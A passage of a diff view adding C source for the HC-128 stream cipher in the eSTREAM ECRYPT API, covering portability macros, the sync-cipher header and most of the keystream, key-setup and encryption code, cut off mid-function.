(p)[1] = U8V((v) >> 16); \
|
||||
(p)[2] = U8V((v) >> 8); \
|
||||
(p)[3] = U8V((v) ); \
|
||||
} while (0)
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U64TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) >> 56); \
|
||||
(p)[1] = U8V((v) >> 48); \
|
||||
(p)[2] = U8V((v) >> 40); \
|
||||
(p)[3] = U8V((v) >> 32); \
|
||||
(p)[4] = U8V((v) >> 24); \
|
||||
(p)[5] = U8V((v) >> 16); \
|
||||
(p)[6] = U8V((v) >> 8); \
|
||||
(p)[7] = U8V((v) ); \
|
||||
} while (0)
|
||||
#else
|
||||
#define U64TO8_BIG(p, v) \
|
||||
do { \
|
||||
U32TO8_BIG((p), U32V((v) >> 32)); \
|
||||
U32TO8_BIG((p) + 4, U32V((v) )); \
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
|
@ -0,0 +1,396 @@
|
|||
/* ecrypt-sync.h */
|
||||
|
||||
/*
|
||||
* Header file for synchronous stream ciphers without authentication
|
||||
* mechanism.
|
||||
*
|
||||
* *** Please only edit parts marked with "[edit]". ***
|
||||
*/
|
||||
#ifndef ECRYPT_SYNC
|
||||
#define ECRYPT_SYNC
|
||||
|
||||
#include "ecrypt-portable.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Cipher parameters */
|
||||
|
||||
/*
|
||||
* The name of your cipher.
|
||||
*/
|
||||
#define ECRYPT_NAME "HC-128" /* [edit] */
|
||||
#define ECRYPT_PROFILE "SW"
|
||||
|
||||
/*
|
||||
* Specify which key and IV sizes are supported by your cipher. A user
|
||||
* should be able to enumerate the supported sizes by running the
|
||||
* following code:
|
||||
*
|
||||
* for (i = 0; ECRYPT_KEYSIZE(i) <= ECRYPT_MAXKEYSIZE; ++i)
|
||||
* {
|
||||
* keysize = ECRYPT_KEYSIZE(i);
|
||||
*
|
||||
* ...
|
||||
* }
|
||||
*
|
||||
* All sizes are in bits.
|
||||
*/
|
||||
|
||||
/*
|
||||
*Remarks: One key size is supported: 128 bits
|
||||
* One IV size is supported: 128 bits
|
||||
*
|
||||
* The other key, IV sizes can also be used in HC-128,
|
||||
* but not recommended:
|
||||
* 1) For any key with size not equal to 128,
|
||||
* the key needs to be concatenated to a 128-bit key
|
||||
* before being used in HC-128.
|
||||
* 2) For any IV with size not equal to 128,
|
||||
* the IV needs to be concatenated to a 128-bit IV
|
||||
* before being used in HC-128
|
||||
*
|
||||
*Caution: Two keys with different sizes should be independently generated
|
||||
* Two IVs with different sizes should not be used with the same key
|
||||
*
|
||||
*Recommended: 128-bit IV for 128-bit key;
|
||||
*/
|
||||
|
||||
#define ECRYPT_MAXKEYSIZE 128 /* [edit] */
|
||||
#define ECRYPT_KEYSIZE(i) (128 + (i)*128) /* [edit] */
|
||||
|
||||
#define ECRYPT_MAXIVSIZE 128 /* [edit] */
|
||||
#define ECRYPT_IVSIZE(i) (128 + (i)*128) /* [edit] */
|
||||
|
||||
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Data structures */
|
||||
|
||||
/*
|
||||
* ECRYPT_ctx is the structure containing the representation of the
|
||||
* internal state of your cipher.
|
||||
*/
|
||||
|
||||
typedef struct
|
||||
{
|
||||
/*
|
||||
* [edit]
|
||||
*
|
||||
* Put here all state variable needed during the encryption process.
|
||||
*/
|
||||
u32 T[1024]; /* P[i] = T[i]; Q[i] = T[1024+i];*/
|
||||
u32 X[16];
|
||||
u32 Y[16];
|
||||
u32 counter1024; /*counter1024 = i mod 1024 at the i-th step */
|
||||
u32 key[8];
|
||||
u32 iv[8];
|
||||
u32 keysize; /* key size in bits */
|
||||
u32 ivsize; /* iv size in bits*/
|
||||
} ECRYPT_ctx;
|
||||
|
||||
/*-------------------------------------
|
||||
Added functions
|
||||
---------------------------------------*/
|
||||
|
||||
void generate_keystream(ECRYPT_ctx* ctx, u32* keystream);
|
||||
|
||||
void setup_update(ECRYPT_ctx* ctx);
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Mandatory functions */
|
||||
|
||||
/*
|
||||
* Key and message independent initialization. This function will be
|
||||
* called once when the program starts (e.g., to build expanded S-box
|
||||
* tables).
|
||||
*/
|
||||
void ECRYPT_init(void);
|
||||
|
||||
/*
|
||||
* Key setup. It is the user's responsibility to select the values of
|
||||
* keysize and ivsize from the set of supported values specified
|
||||
* above.
|
||||
*/
|
||||
void ECRYPT_keysetup(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* key,
|
||||
u32 keysize, /* Key size in bits. */
|
||||
u32 ivsize); /* IV size in bits. */
|
||||
|
||||
/*
|
||||
* IV setup. After having called ECRYPT_keysetup(), the user is
|
||||
* allowed to call ECRYPT_ivsetup() different times in order to
|
||||
* encrypt/decrypt different messages with the same key but different
|
||||
* IV's.
|
||||
*/
|
||||
void ECRYPT_ivsetup(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv);
|
||||
|
||||
/*
|
||||
* Encryption/decryption of arbitrary length messages.
|
||||
*
|
||||
* For efficiency reasons, the API provides two types of
|
||||
* encrypt/decrypt functions. The ECRYPT_encrypt_bytes() function
|
||||
* (declared here) encrypts byte strings of arbitrary length, while
|
||||
* the ECRYPT_encrypt_blocks() function (defined later) only accepts
|
||||
* lengths which are multiples of ECRYPT_BLOCKLENGTH.
|
||||
*
|
||||
* The user is allowed to make multiple calls to
|
||||
* ECRYPT_encrypt_blocks() to incrementally encrypt a long message,
|
||||
* but he is NOT allowed to make additional encryption calls once he
|
||||
* has called ECRYPT_encrypt_bytes() (unless he starts a new message
|
||||
* of course). For example, this sequence of calls is acceptable:
|
||||
*
|
||||
* ECRYPT_keysetup();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
*
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
*
|
||||
* The following sequence is not:
|
||||
*
|
||||
* ECRYPT_keysetup();
|
||||
* ECRYPT_ivsetup();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
* ECRYPT_encrypt_bytes();
|
||||
* ECRYPT_encrypt_blocks();
|
||||
*/
|
||||
|
||||
/*
|
||||
* By default ECRYPT_encrypt_bytes() and ECRYPT_decrypt_bytes() are
|
||||
* defined as macros which redirect the call to a single function
|
||||
* ECRYPT_process_bytes(). If you want to provide separate encryption
|
||||
* and decryption functions, please undef
|
||||
* ECRYPT_HAS_SINGLE_BYTE_FUNCTION.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_BYTE_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_BYTE_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_bytes(ctx, plaintext, ciphertext, msglen) \
|
||||
ECRYPT_process_bytes(0, ctx, plaintext, ciphertext, msglen)
|
||||
|
||||
#define ECRYPT_decrypt_bytes(ctx, ciphertext, plaintext, msglen) \
|
||||
ECRYPT_process_bytes(1, ctx, ciphertext, plaintext, msglen)
|
||||
|
||||
void ECRYPT_process_bytes(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
void ECRYPT_decrypt_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 msglen); /* Message length in bytes. */
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Optional features */
|
||||
|
||||
/*
|
||||
* For testing purposes it can sometimes be useful to have a function
|
||||
* which immediately generates keystream without having to provide it
|
||||
* with a zero plaintext. If your cipher cannot provide this function
|
||||
* (e.g., because it is not strictly a synchronous cipher), please
|
||||
* reset the ECRYPT_GENERATES_KEYSTREAM flag.
|
||||
*/
|
||||
|
||||
#define ECRYPT_GENERATES_KEYSTREAM
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
void ECRYPT_keystream_bytes(
|
||||
ECRYPT_ctx* ctx,
|
||||
u8* keystream,
|
||||
u32 length); /* Length of keystream in bytes. */
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Optional optimizations */
|
||||
|
||||
/*
|
||||
* By default, the functions in this section are implemented using
|
||||
* calls to functions declared above. However, you might want to
|
||||
* implement them differently for performance reasons.
|
||||
*/
|
||||
|
||||
/*
|
||||
* All-in-one encryption/decryption of (short) packets.
|
||||
*
|
||||
* The default definitions of these functions can be found in
|
||||
* "ecrypt-sync.c". If you want to implement them differently, please
|
||||
* undef the ECRYPT_USES_DEFAULT_ALL_IN_ONE flag.
|
||||
*/
|
||||
#define ECRYPT_USES_DEFAULT_ALL_IN_ONE /* [edit] */
|
||||
|
||||
/*
|
||||
* Undef ECRYPT_HAS_SINGLE_PACKET_FUNCTION if you want to provide
|
||||
* separate packet encryption and decryption functions.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_PACKET_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_PACKET_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_packet( \
|
||||
ctx, iv, plaintext, ciphertext, mglen) \
|
||||
ECRYPT_process_packet(0, \
|
||||
ctx, iv, plaintext, ciphertext, mglen)
|
||||
|
||||
#define ECRYPT_decrypt_packet( \
|
||||
ctx, iv, ciphertext, plaintext, mglen) \
|
||||
ECRYPT_process_packet(1, \
|
||||
ctx, iv, ciphertext, plaintext, mglen)
|
||||
|
||||
void ECRYPT_process_packet(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen);
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_packet(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 msglen);
|
||||
|
||||
void ECRYPT_decrypt_packet(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* iv,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 msglen);
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Encryption/decryption of blocks.
|
||||
*
|
||||
* By default, these functions are defined as macros. If you want to
|
||||
* provide a different implementation, please undef the
|
||||
* ECRYPT_USES_DEFAULT_BLOCK_MACROS flag and implement the functions
|
||||
* declared below.
|
||||
*/
|
||||
|
||||
#define ECRYPT_BLOCKLENGTH 64 /* [edit] */
|
||||
|
||||
#define ECRYPT_USES_DEFAULT_BLOCK_MACROS /* [edit] */
|
||||
#ifdef ECRYPT_USES_DEFAULT_BLOCK_MACROS
|
||||
|
||||
#define ECRYPT_encrypt_blocks(ctx, plaintext, ciphertext, blocks) \
|
||||
ECRYPT_encrypt_bytes(ctx, plaintext, ciphertext, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#define ECRYPT_decrypt_blocks(ctx, ciphertext, plaintext, blocks) \
|
||||
ECRYPT_decrypt_bytes(ctx, ciphertext, plaintext, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
#define ECRYPT_keystream_blocks(ctx, keystream, blocks) \
|
||||
ECRYPT_keystream_bytes(ctx, keystream, \
|
||||
(blocks) * ECRYPT_BLOCKLENGTH)
|
||||
|
||||
#endif
|
||||
|
||||
#else
|
||||
|
||||
/*
|
||||
* Undef ECRYPT_HAS_SINGLE_BLOCK_FUNCTION if you want to provide
|
||||
* separate block encryption and decryption functions.
|
||||
*/
|
||||
#define ECRYPT_HAS_SINGLE_BLOCK_FUNCTION /* [edit] */
|
||||
#ifdef ECRYPT_HAS_SINGLE_BLOCK_FUNCTION
|
||||
|
||||
#define ECRYPT_encrypt_blocks(ctx, plaintext, ciphertext, blocks) \
|
||||
ECRYPT_process_blocks(0, ctx, plaintext, ciphertext, blocks)
|
||||
|
||||
#define ECRYPT_decrypt_blocks(ctx, ciphertext, plaintext, blocks) \
|
||||
ECRYPT_process_blocks(1, ctx, ciphertext, plaintext, blocks)
|
||||
|
||||
void ECRYPT_process_blocks(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
#else
|
||||
|
||||
void ECRYPT_encrypt_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* plaintext,
|
||||
u8* ciphertext,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
void ECRYPT_decrypt_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* ciphertext,
|
||||
u8* plaintext,
|
||||
u32 blocks); /* Message length in blocks. */
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef ECRYPT_GENERATES_KEYSTREAM
|
||||
|
||||
void ECRYPT_keystream_blocks(
|
||||
ECRYPT_ctx* ctx,
|
||||
u8* keystream,
|
||||
u32 blocks); /* Keystream length in blocks. */
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* If your cipher can be implemented in different ways, you can use
|
||||
* the ECRYPT_VARIANT parameter to allow the user to choose between
|
||||
* them at compile time (e.g., gcc -DECRYPT_VARIANT=3 ...). Please
|
||||
* only use this possibility if you really think it could make a
|
||||
* significant difference and keep the number of variants
|
||||
* (ECRYPT_MAXVARIANT) as small as possible (definitely not more than
|
||||
* 10). Note also that all variants should have exactly the same
|
||||
* external interface (i.e., the same ECRYPT_BLOCKLENGTH, etc.).
|
||||
*/
|
||||
#define ECRYPT_MAXVARIANT 1 /* [edit] */
|
||||
|
||||
#ifndef ECRYPT_VARIANT
|
||||
#define ECRYPT_VARIANT 1
|
||||
#endif
|
||||
|
||||
#if (ECRYPT_VARIANT > ECRYPT_MAXVARIANT)
|
||||
#error this variant does not exist
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
||||
|
||||
|
|
@ -0,0 +1,295 @@
|
|||
|
||||
#include "ecrypt-sync.h"
|
||||
|
||||
/* =====================================================================
|
||||
* The following defines the keystream generation function
|
||||
*======================================================================*/
|
||||
|
||||
/*h1 function*/
|
||||
#define h1(ctx, x, y) { \
|
||||
u8 a,c; \
|
||||
a = (u8) (x); \
|
||||
c = (u8) ((x) >> 16); \
|
||||
y = (ctx->T[512+a])+(ctx->T[512+256+c]); \
|
||||
}
|
||||
|
||||
/*h2 function*/
|
||||
#define h2(ctx, x, y) { \
|
||||
u8 a,c; \
|
||||
a = (u8) (x); \
|
||||
c = (u8) ((x) >> 16); \
|
||||
y = (ctx->T[a])+(ctx->T[256+c]); \
|
||||
}
|
||||
|
||||
/*one step of HC-128, update P and generate 32 bits keystream*/
|
||||
#define step_P(ctx,u,v,a,b,c,d,n){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
h1((ctx),(ctx->X[(d)]),tem3); \
|
||||
tem0 = ROTR32((ctx->T[(v)]),23); \
|
||||
tem1 = ROTR32((ctx->X[(c)]),10); \
|
||||
tem2 = ROTR32((ctx->X[(b)]),8); \
|
||||
(ctx->T[(u)]) += tem2+(tem0 ^ tem1); \
|
||||
(ctx->X[(a)]) = (ctx->T[(u)]); \
|
||||
(n) = tem3 ^ (ctx->T[(u)]) ; \
|
||||
}
|
||||
|
||||
/*one step of HC-128, update Q and generate 32 bits keystream*/
|
||||
#define step_Q(ctx,u,v,a,b,c,d,n){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
h2((ctx),(ctx->Y[(d)]),tem3); \
|
||||
tem0 = ROTR32((ctx->T[(v)]),(32-23)); \
|
||||
tem1 = ROTR32((ctx->Y[(c)]),(32-10)); \
|
||||
tem2 = ROTR32((ctx->Y[(b)]),(32-8)); \
|
||||
(ctx->T[(u)]) += tem2 + (tem0 ^ tem1); \
|
||||
(ctx->Y[(a)]) = (ctx->T[(u)]); \
|
||||
(n) = tem3 ^ (ctx->T[(u)]) ; \
|
||||
}
|
||||
|
||||
/*16 steps of HC-128, generate 512 bits keystream*/
|
||||
void generate_keystream(ECRYPT_ctx* ctx, u32* keystream)
|
||||
{
|
||||
u32 cc,dd;
|
||||
cc = ctx->counter1024 & 0x1ff;
|
||||
dd = (cc+16)&0x1ff;
|
||||
|
||||
if (ctx->counter1024 < 512)
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
step_P(ctx, cc+0, cc+1, 0, 6, 13,4, keystream[0]);
|
||||
step_P(ctx, cc+1, cc+2, 1, 7, 14,5, keystream[1]);
|
||||
step_P(ctx, cc+2, cc+3, 2, 8, 15,6, keystream[2]);
|
||||
step_P(ctx, cc+3, cc+4, 3, 9, 0, 7, keystream[3]);
|
||||
step_P(ctx, cc+4, cc+5, 4, 10,1, 8, keystream[4]);
|
||||
step_P(ctx, cc+5, cc+6, 5, 11,2, 9, keystream[5]);
|
||||
step_P(ctx, cc+6, cc+7, 6, 12,3, 10,keystream[6]);
|
||||
step_P(ctx, cc+7, cc+8, 7, 13,4, 11,keystream[7]);
|
||||
step_P(ctx, cc+8, cc+9, 8, 14,5, 12,keystream[8]);
|
||||
step_P(ctx, cc+9, cc+10,9, 15,6, 13,keystream[9]);
|
||||
step_P(ctx, cc+10,cc+11,10,0, 7, 14,keystream[10]);
|
||||
step_P(ctx, cc+11,cc+12,11,1, 8, 15,keystream[11]);
|
||||
step_P(ctx, cc+12,cc+13,12,2, 9, 0, keystream[12]);
|
||||
step_P(ctx, cc+13,cc+14,13,3, 10,1, keystream[13]);
|
||||
step_P(ctx, cc+14,cc+15,14,4, 11,2, keystream[14]);
|
||||
step_P(ctx, cc+15,dd+0, 15,5, 12,3, keystream[15]);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
step_Q(ctx, 512+cc+0, 512+cc+1, 0, 6, 13,4, keystream[0]);
|
||||
step_Q(ctx, 512+cc+1, 512+cc+2, 1, 7, 14,5, keystream[1]);
|
||||
step_Q(ctx, 512+cc+2, 512+cc+3, 2, 8, 15,6, keystream[2]);
|
||||
step_Q(ctx, 512+cc+3, 512+cc+4, 3, 9, 0, 7, keystream[3]);
|
||||
step_Q(ctx, 512+cc+4, 512+cc+5, 4, 10,1, 8, keystream[4]);
|
||||
step_Q(ctx, 512+cc+5, 512+cc+6, 5, 11,2, 9, keystream[5]);
|
||||
step_Q(ctx, 512+cc+6, 512+cc+7, 6, 12,3, 10,keystream[6]);
|
||||
step_Q(ctx, 512+cc+7, 512+cc+8, 7, 13,4, 11,keystream[7]);
|
||||
step_Q(ctx, 512+cc+8, 512+cc+9, 8, 14,5, 12,keystream[8]);
|
||||
step_Q(ctx, 512+cc+9, 512+cc+10,9, 15,6, 13,keystream[9]);
|
||||
step_Q(ctx, 512+cc+10,512+cc+11,10,0, 7, 14,keystream[10]);
|
||||
step_Q(ctx, 512+cc+11,512+cc+12,11,1, 8, 15,keystream[11]);
|
||||
step_Q(ctx, 512+cc+12,512+cc+13,12,2, 9, 0, keystream[12]);
|
||||
step_Q(ctx, 512+cc+13,512+cc+14,13,3, 10,1, keystream[13]);
|
||||
step_Q(ctx, 512+cc+14,512+cc+15,14,4, 11,2, keystream[14]);
|
||||
step_Q(ctx, 512+cc+15,512+dd+0, 15,5, 12,3, keystream[15]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*======================================================*/
|
||||
/* The following defines the initialization functions */
|
||||
/*======================================================*/
|
||||
|
||||
#define f1(x) (ROTR32((x),7) ^ ROTR32((x),18) ^ ((x) >> 3))
|
||||
#define f2(x) (ROTR32((x),17) ^ ROTR32((x),19) ^ ((x) >> 10))
|
||||
|
||||
/*update table P*/
|
||||
#define update_P(ctx,u,v,a,b,c,d){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
tem0 = ROTR32((ctx->T[(v)]),23); \
|
||||
tem1 = ROTR32((ctx->X[(c)]),10); \
|
||||
tem2 = ROTR32((ctx->X[(b)]),8); \
|
||||
h1((ctx),(ctx->X[(d)]),tem3); \
|
||||
(ctx->T[(u)]) = ((ctx->T[(u)]) + tem2+(tem0^tem1)) ^ tem3; \
|
||||
(ctx->X[(a)]) = (ctx->T[(u)]); \
|
||||
}
|
||||
|
||||
/*update table Q*/
|
||||
#define update_Q(ctx,u,v,a,b,c,d){ \
|
||||
u32 tem0,tem1,tem2,tem3; \
|
||||
tem0 = ROTR32((ctx->T[(v)]),(32-23)); \
|
||||
tem1 = ROTR32((ctx->Y[(c)]),(32-10)); \
|
||||
tem2 = ROTR32((ctx->Y[(b)]),(32-8)); \
|
||||
h2((ctx),(ctx->Y[(d)]),tem3); \
|
||||
(ctx->T[(u)]) = ((ctx->T[(u)]) + tem2+(tem0^tem1)) ^ tem3; \
|
||||
(ctx->Y[(a)]) = (ctx->T[(u)]); \
|
||||
}
|
||||
|
||||
/*16 steps of HC-128, without generating keystream, */
|
||||
/*but use the outputs to update P and Q*/
|
||||
void setup_update(ECRYPT_ctx* ctx) /*each time 16 steps*/
|
||||
{
|
||||
u32 cc,dd;
|
||||
cc = ctx->counter1024 & 0x1ff;
|
||||
dd = (cc+16)&0x1ff;
|
||||
|
||||
if (ctx->counter1024 < 512)
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
update_P(ctx, cc+0, cc+1, 0, 6, 13, 4);
|
||||
update_P(ctx, cc+1, cc+2, 1, 7, 14, 5);
|
||||
update_P(ctx, cc+2, cc+3, 2, 8, 15, 6);
|
||||
update_P(ctx, cc+3, cc+4, 3, 9, 0, 7);
|
||||
update_P(ctx, cc+4, cc+5, 4, 10,1, 8);
|
||||
update_P(ctx, cc+5, cc+6, 5, 11,2, 9);
|
||||
update_P(ctx, cc+6, cc+7, 6, 12,3, 10);
|
||||
update_P(ctx, cc+7, cc+8, 7, 13,4, 11);
|
||||
update_P(ctx, cc+8, cc+9, 8, 14,5, 12);
|
||||
update_P(ctx, cc+9, cc+10,9, 15,6, 13);
|
||||
update_P(ctx, cc+10,cc+11,10,0, 7, 14);
|
||||
update_P(ctx, cc+11,cc+12,11,1, 8, 15);
|
||||
update_P(ctx, cc+12,cc+13,12,2, 9, 0);
|
||||
update_P(ctx, cc+13,cc+14,13,3, 10, 1);
|
||||
update_P(ctx, cc+14,cc+15,14,4, 11, 2);
|
||||
update_P(ctx, cc+15,dd+0, 15,5, 12, 3);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx->counter1024 = (ctx->counter1024 + 16) & 0x3ff;
|
||||
update_Q(ctx, 512+cc+0, 512+cc+1, 0, 6, 13, 4);
|
||||
update_Q(ctx, 512+cc+1, 512+cc+2, 1, 7, 14, 5);
|
||||
update_Q(ctx, 512+cc+2, 512+cc+3, 2, 8, 15, 6);
|
||||
update_Q(ctx, 512+cc+3, 512+cc+4, 3, 9, 0, 7);
|
||||
update_Q(ctx, 512+cc+4, 512+cc+5, 4, 10,1, 8);
|
||||
update_Q(ctx, 512+cc+5, 512+cc+6, 5, 11,2, 9);
|
||||
update_Q(ctx, 512+cc+6, 512+cc+7, 6, 12,3, 10);
|
||||
update_Q(ctx, 512+cc+7, 512+cc+8, 7, 13,4, 11);
|
||||
update_Q(ctx, 512+cc+8, 512+cc+9, 8, 14,5, 12);
|
||||
update_Q(ctx, 512+cc+9, 512+cc+10,9, 15,6, 13);
|
||||
update_Q(ctx, 512+cc+10,512+cc+11,10,0, 7, 14);
|
||||
update_Q(ctx, 512+cc+11,512+cc+12,11,1, 8, 15);
|
||||
update_Q(ctx, 512+cc+12,512+cc+13,12,2, 9, 0);
|
||||
update_Q(ctx, 512+cc+13,512+cc+14,13,3, 10, 1);
|
||||
update_Q(ctx, 512+cc+14,512+cc+15,14,4, 11, 2);
|
||||
update_Q(ctx, 512+cc+15,512+dd+0, 15,5, 12, 3);
|
||||
}
|
||||
}
|
||||
|
||||
void ECRYPT_init(void) {
|
||||
} /* No operation performed */
|
||||
|
||||
/* for the 128-bit key: key[0]...key[15]
|
||||
* key[0] is the least significant byte of ctx->key[0] (K_0);
|
||||
* key[3] is the most significant byte of ctx->key[0] (K_0);
|
||||
* ...
|
||||
* key[12] is the least significant byte of ctx->key[3] (K_3)
|
||||
* key[15] is the most significant byte of ctx->key[3] (K_3)
|
||||
*
|
||||
* for the 128-bit iv: iv[0]...iv[15]
|
||||
* iv[0] is the least significant byte of ctx->iv[0] (IV_0);
|
||||
* iv[3] is the most significant byte of ctx->iv[0] (IV_0);
|
||||
* ...
|
||||
* iv[12] is the least significant byte of ctx->iv[3] (IV_3)
|
||||
* iv[15] is the most significant byte of ctx->iv[3] (IV_3)
|
||||
*/
|
||||
|
||||
void ECRYPT_keysetup(
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* key,
|
||||
u32 keysize, /* Key size in bits (128+128*i) */
|
||||
u32 ivsize) /* IV size in bits (128+128*i)*/
|
||||
{
|
||||
u32 i;
|
||||
|
||||
ctx->keysize = keysize;
|
||||
ctx->ivsize = ivsize;
|
||||
|
||||
/* Key size in bits 128 */
|
||||
for (i = 0; i < (keysize >> 5); i++) ctx->key[i] = U32TO32_LITTLE (((u32*)key)[i]);
|
||||
|
||||
for ( ; i < 8 ; i++) ctx->key[i] = ctx->key[i-4];
|
||||
|
||||
} /* initialize the key, save the iv size*/
|
||||
|
||||
|
||||
void ECRYPT_ivsetup(ECRYPT_ctx* ctx, const u8* iv)
|
||||
{
|
||||
u32 i;
|
||||
|
||||
/* initialize the iv */
|
||||
/* IV size in bits 128*/
|
||||
|
||||
for (i = 0; i < (ctx->ivsize >> 5); i++) ctx->iv[i] = U32TO32_LITTLE(((u32*)iv)[i]);
|
||||
|
||||
for (; i < 8; i++) ctx->iv[i] = ctx->iv[i-4];
|
||||
|
||||
/* expand the key and IV into the table T */
|
||||
/* (expand the key and IV into the table P and Q) */
|
||||
|
||||
for (i = 0; i < 8; i++) ctx->T[i] = ctx->key[i];
|
||||
for (i = 8; i < 16; i++) ctx->T[i] = ctx->iv[i-8];
|
||||
|
||||
for (i = 16; i < (256+16); i++)
|
||||
ctx->T[i] = f2(ctx->T[i-2]) + ctx->T[i-7] + f1(ctx->T[i-15]) + ctx->T[i-16]+i;
|
||||
|
||||
for (i = 0; i < 16; i++) ctx->T[i] = ctx->T[256+i];
|
||||
|
||||
for (i = 16; i < 1024; i++)
|
||||
ctx->T[i] = f2(ctx->T[i-2]) + ctx->T[i-7] + f1(ctx->T[i-15]) + ctx->T[i-16]+256+i;
|
||||
|
||||
/* initialize counter1024, X and Y */
|
||||
ctx->counter1024 = 0;
|
||||
for (i = 0; i < 16; i++) ctx->X[i] = ctx->T[512-16+i];
|
||||
for (i = 0; i < 16; i++) ctx->Y[i] = ctx->T[512+512-16+i];
|
||||
|
||||
/* run the cipher 1024 steps before generating the output */
|
||||
for (i = 0; i < 64; i++) setup_update(ctx);
|
||||
}
|
||||
|
||||
/*========================================================
|
||||
* The following defines the encryption of data stream
|
||||
*========================================================
|
||||
*/
|
||||
|
||||
void ECRYPT_process_bytes(
|
||||
int action, /* 0 = encrypt; 1 = decrypt; */
|
||||
ECRYPT_ctx* ctx,
|
||||
const u8* input,
|
||||
u8* output,
|
||||
u32 msglen) /* Message length in bytes. */
|
||||
{
|
||||
u32 i, keystream[16];
|
||||
|
||||
for ( ; msglen >= 64; msglen -= 64, input += 64, output += 64)
|
||||
{
|
||||
generate_keystream(ctx, keystream);
|
||||
|
||||
/*for (i = 0; i < 16; ++i)
|
||||
((u32*)output)[i] = ((u32*)input)[i] ^ U32TO32_LITTLE(keystream[i]); */
|
||||
|
||||
((u32*)output)[0] = ((u32*)input)[0] ^ U32TO32_LITTLE(keystream[0]);
|
||||
((u32*)output)[1] = ((u32*)input)[1] ^ U32TO32_LITTLE(keystream[1]);
|
||||
((u32*)output)[2] = ((u32*)input)[2] ^ U32TO32_LITTLE(keystream[2]);
|
||||
((u32*)output)[3] = ((u32*)input)[3] ^ U32TO32_LITTLE(keystream[3]);
|
||||
((u32*)output)[4] = ((u32*)input)[4] ^ U32TO32_LITTLE(keystream[4]);
|
||||
((u32*)output)[5] = ((u32*)input)[5] ^ U32TO32_LITTLE(keystream[5]);
|
||||
((u32*)output)[6] = ((u32*)input)[6] ^ U32TO32_LITTLE(keystream[6]);
|
||||
((u32*)output)[7] = ((u32*)input)[7] ^ U32TO32_LITTLE(keystream[7]);
|
||||
((u32*)output)[8] = ((u32*)input)[8] ^ U32TO32_LITTLE(keystream[8]);
|
||||
((u32*)output)[9] = ((u32*)input)[9] ^ U32TO32_LITTLE(keystream[9]);
|
||||
